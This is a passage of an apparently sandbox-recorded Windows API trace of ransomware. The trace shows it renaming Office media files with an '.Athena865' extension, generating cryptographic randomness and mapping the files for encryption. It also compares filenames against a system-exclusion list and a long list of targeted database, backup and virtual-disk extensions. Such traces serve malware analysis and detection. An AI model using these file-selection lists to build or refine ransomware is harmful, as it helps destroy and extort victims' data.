lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2=".") returned 1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="..") returned 1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="windows") returned -1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="bootmgr") returned 1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="temp") returned -1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="pagefile.sys") returned -1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="boot") returned 1 [0138.383] lstrcmpiW (lpString1="J0196374.WMF", lpString2="ids.txt") returned 1 [0138.384] lstrcmpiW (lpString1="J0196374.WMF", lpString2="ntuser.dat") returned -1 [0138.384] lstrcmpiW (lpString1="J0196374.WMF", lpString2="perflogs") returned -1 [0138.384] lstrcmpiW (lpString1="J0196374.WMF", lpString2="MSBuild") returned -1 [0138.384] lstrlenW (lpString="J0196374.WMF") returned 12 [0138.384] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0196374.WMF" | out: lpString1="J0196374.WMF") returned="J0196374.WMF" [0138.384] lstrlenW (lpString="J0196374.WMF") returned 12 [0138.384] lstrlenW (lpString="Athena865") returned 9 [0138.384] lstrcmpiW (lpString1="96374.WMF", lpString2="Athena865") returned -1 [0138.384] lstrlenW (lpString=".dll") returned 4 [0138.384] lstrcmpiW (lpString1="J0196374.WMF", lpString2=".dll") returned 1 [0138.384] lstrlenW (lpString=".lnk") returned 4 [0138.384] lstrcmpiW (lpString1="J0196374.WMF", lpString2=".lnk") returned 1 [0138.384] lstrlenW (lpString=".ini") returned 4 [0138.384] lstrcmpiW (lpString1="J0196374.WMF", lpString2=".ini") returned 1 [0138.384] lstrlenW (lpString=".sys") returned 4 [0138.384] lstrcmpiW (lpString1="J0196374.WMF", lpString2=".sys") returned 1 [0138.384] lstrlenW (lpString="J0196374.WMF") returned 12 [0138.384] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.Athena865") returned 71 [0138.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.athena865"), dwFlags=0x1) returned 1 [0138.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.386] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4630) returned 1 [0138.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.387] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.388] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.388] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.388] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1520, lpName=0x0) returned 0x154 [0138.390] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1520) returned 0x100000 [0138.394] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.395] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.395] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.396] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.396] CloseHandle (hObject=0x154) returned 1 [0138.396] CloseHandle (hObject=0x17c) returned 1 [0138.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.396] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0138.396] lstrcmpiW (lpString1="J0196400.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.396] lstrcmpiW (lpString1="J0196400.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2=".") returned 1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="..") returned 1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="windows") returned -1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="bootmgr") returned 1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="temp") returned -1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="pagefile.sys") returned -1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="boot") returned 1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="ids.txt") returned 1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="ntuser.dat") returned -1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="perflogs") returned -1 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2="MSBuild") returned -1 [0138.397] lstrlenW (lpString="J0196400.WMF") returned 12 [0138.397] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0196400.WMF" | out: lpString1="J0196400.WMF") returned="J0196400.WMF" [0138.397] lstrlenW (lpString="J0196400.WMF") returned 12 [0138.397] lstrlenW (lpString="Athena865") returned 9 [0138.397] lstrcmpiW (lpString1="96400.WMF", lpString2="Athena865") returned -1 [0138.397] lstrlenW (lpString=".dll") returned 4 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2=".dll") returned 1 [0138.397] lstrlenW (lpString=".lnk") returned 4 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2=".lnk") returned 1 [0138.397] lstrlenW (lpString=".ini") returned 4 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2=".ini") returned 1 [0138.397] lstrlenW (lpString=".sys") returned 4 [0138.397] lstrcmpiW (lpString1="J0196400.WMF", lpString2=".sys") returned 1 [0138.397] lstrlenW (lpString="J0196400.WMF") returned 12 [0138.397] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.Athena865") returned 71 [0138.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.athena865"), dwFlags=0x1) returned 1 [0138.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.400] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36030) returned 1 [0138.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.401] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.401] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.402] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.402] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fc0, lpName=0x0) returned 0x154 [0138.403] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fc0) returned 0x100000 [0138.406] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.407] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.407] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.408] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.408] CloseHandle (hObject=0x154) returned 1 [0138.408] CloseHandle (hObject=0x17c) returned 1 [0138.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.409] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2=".") returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="..") returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="windows") returned -1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="bootmgr") returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="temp") returned -1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="pagefile.sys") returned -1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="boot") returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="ids.txt") returned 1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="ntuser.dat") returned -1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="perflogs") returned -1 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2="MSBuild") returned -1 [0138.409] lstrlenW (lpString="J0199036.WMF") returned 12 [0138.409] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0199036.WMF" | out: lpString1="J0199036.WMF") returned="J0199036.WMF" [0138.409] lstrlenW (lpString="J0199036.WMF") returned 12 [0138.409] lstrlenW (lpString="Athena865") returned 9 [0138.409] lstrcmpiW (lpString1="99036.WMF", lpString2="Athena865") returned -1 [0138.409] lstrlenW (lpString=".dll") returned 4 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2=".dll") returned 1 [0138.409] lstrlenW (lpString=".lnk") returned 4 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2=".lnk") returned 1 [0138.409] lstrlenW (lpString=".ini") returned 4 [0138.409] lstrcmpiW (lpString1="J0199036.WMF", lpString2=".ini") returned 1 [0138.409] lstrlenW (lpString=".sys") returned 4 [0138.410] lstrcmpiW (lpString1="J0199036.WMF", lpString2=".sys") returned 1 [0138.410] lstrlenW (lpString="J0199036.WMF") returned 12 [0138.410] lstrlenW (lpString="bak") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.410] lstrlenW (lpString="ba_") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.410] lstrlenW (lpString="dbb") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.410] lstrlenW (lpString="vmdk") returned 4 [0138.410] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.410] lstrlenW (lpString="rar") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.410] lstrlenW (lpString="zip") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.410] lstrlenW (lpString="tgz") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.410] lstrlenW (lpString="vbox") returned 4 [0138.410] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.410] lstrlenW (lpString="vdi") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.410] lstrlenW (lpString="vhd") returned 3 [0138.410] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.410] lstrlenW (lpString="vhdx") returned 4 [0138.410] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.410] lstrlenW (lpString="avhd") returned 4 [0138.410] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.410] lstrlenW (lpString="db") returned 2 [0138.410] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.410] lstrlenW (lpString="db2") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.411] lstrlenW (lpString="db3") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.411] lstrlenW (lpString="dbf") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.411] lstrlenW (lpString="mdf") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.411] lstrlenW (lpString="mdb") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.411] lstrlenW (lpString="sql") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.411] lstrlenW (lpString="sqlite") returned 6 [0138.411] lstrcmpiW (lpString1="36.WMF", lpString2="sqlite") returned -1 [0138.411] lstrlenW (lpString="sqlite3") returned 7 [0138.411] lstrcmpiW (lpString1="036.WMF", lpString2="sqlite3") returned -1 [0138.411] lstrlenW (lpString="sqlitedb") returned 8 [0138.411] lstrcmpiW (lpString1="9036.WMF", lpString2="sqlitedb") returned -1 [0138.411] lstrlenW (lpString="xml") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.411] lstrlenW (lpString="$er") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.411] lstrlenW (lpString="4dd") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.411] lstrlenW (lpString="4dl") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.411] lstrlenW (lpString="^^^") returned 3 [0138.411] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.411] lstrlenW (lpString="abs") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.412] lstrlenW (lpString="abx") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.412] lstrlenW (lpString="accdb") returned 5 [0138.412] lstrcmpiW (lpString1="6.WMF", lpString2="accdb") returned -1 [0138.412] lstrlenW (lpString="accdc") returned 5 [0138.412] lstrcmpiW (lpString1="6.WMF", lpString2="accdc") returned -1 [0138.412] lstrlenW (lpString="accde") returned 5 [0138.412] lstrcmpiW (lpString1="6.WMF", lpString2="accde") returned -1 [0138.412] lstrlenW (lpString="accdr") returned 5 [0138.412] lstrcmpiW (lpString1="6.WMF", lpString2="accdr") returned -1 [0138.412] lstrlenW (lpString="accdt") returned 5 [0138.412] lstrcmpiW (lpString1="6.WMF", lpString2="accdt") returned -1 [0138.412] lstrlenW (lpString="accdw") returned 5 [0138.412] lstrcmpiW (lpString1="6.WMF", lpString2="accdw") returned -1 [0138.412] lstrlenW (lpString="accft") returned 5 [0138.412] lstrcmpiW (lpString1="6.WMF", lpString2="accft") returned -1 [0138.412] lstrlenW (lpString="adb") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.412] lstrlenW (lpString="adb") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.412] lstrlenW (lpString="ade") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.412] lstrlenW (lpString="adf") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.412] lstrlenW (lpString="adn") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.412] lstrlenW (lpString="adp") returned 3 [0138.412] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.413] lstrlenW (lpString="alf") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.413] lstrlenW (lpString="ask") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.413] lstrlenW (lpString="btr") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.413] lstrlenW (lpString="cat") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.413] lstrlenW (lpString="cdb") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.413] lstrlenW (lpString="ckp") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.413] lstrlenW (lpString="cma") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.413] lstrlenW (lpString="cpd") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.413] lstrlenW (lpString="dacpac") returned 6 [0138.413] lstrcmpiW (lpString1="36.WMF", lpString2="dacpac") returned -1 [0138.413] lstrlenW (lpString="dad") returned 3 [0138.413] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.413] lstrlenW (lpString="dadiagrams") returned 10 [0138.413] lstrcmpiW (lpString1="199036.WMF", lpString2="dadiagrams") returned -1 [0138.413] lstrlenW (lpString="daschema") returned 8 [0138.413] lstrcmpiW (lpString1="9036.WMF", lpString2="daschema") returned -1 [0138.413] lstrlenW (lpString="db-journal") returned 10 [0138.413] lstrcmpiW (lpString1="199036.WMF", lpString2="db-journal") returned -1 [0138.413] lstrlenW (lpString="db-shm") returned 6 [0138.413] lstrcmpiW (lpString1="36.WMF", lpString2="db-shm") returned -1 [0138.413] lstrlenW (lpString="db-wal") returned 6 [0138.414] lstrcmpiW (lpString1="36.WMF", lpString2="db-wal") returned -1 [0138.414] lstrlenW (lpString="dbc") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.414] lstrlenW (lpString="dbs") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.414] lstrlenW (lpString="dbt") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.414] lstrlenW (lpString="dbv") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.414] lstrlenW (lpString="dbx") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.414] lstrlenW (lpString="dcb") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.414] lstrlenW (lpString="dct") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.414] lstrlenW (lpString="dcx") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.414] lstrlenW (lpString="ddl") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.414] lstrlenW (lpString="dlis") returned 4 [0138.414] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.414] lstrlenW (lpString="dp1") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.414] lstrlenW (lpString="dqy") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.414] lstrlenW (lpString="dsk") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.414] lstrlenW (lpString="dsn") returned 3 [0138.414] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.415] lstrlenW (lpString="dtsx") returned 4 [0138.415] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.415] lstrlenW (lpString="dxl") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.415] lstrlenW (lpString="eco") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.415] lstrlenW (lpString="ecx") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.415] lstrlenW (lpString="edb") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.415] lstrlenW (lpString="epim") returned 4 [0138.415] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.415] lstrlenW (lpString="fcd") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.415] lstrlenW (lpString="fdb") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.415] lstrlenW (lpString="fic") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.415] lstrlenW (lpString="flexolibrary") returned 12 [0138.415] lstrlenW (lpString="fm5") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.415] lstrlenW (lpString="fmp") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.415] lstrlenW (lpString="fmp12") returned 5 [0138.415] lstrcmpiW (lpString1="6.WMF", lpString2="fmp12") returned -1 [0138.415] lstrlenW (lpString="fmpsl") returned 5 [0138.415] lstrcmpiW (lpString1="6.WMF", lpString2="fmpsl") returned -1 [0138.415] lstrlenW (lpString="fol") returned 3 [0138.415] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.416] lstrlenW (lpString="fp3") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.416] lstrlenW (lpString="fp4") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.416] lstrlenW (lpString="fp5") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.416] lstrlenW (lpString="fp7") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.416] lstrlenW (lpString="fpt") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.416] lstrlenW (lpString="frm") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.416] lstrlenW (lpString="gdb") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.416] lstrlenW (lpString="gdb") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.416] lstrlenW (lpString="grdb") returned 4 [0138.416] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.416] lstrlenW (lpString="gwi") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.416] lstrlenW (lpString="hdb") 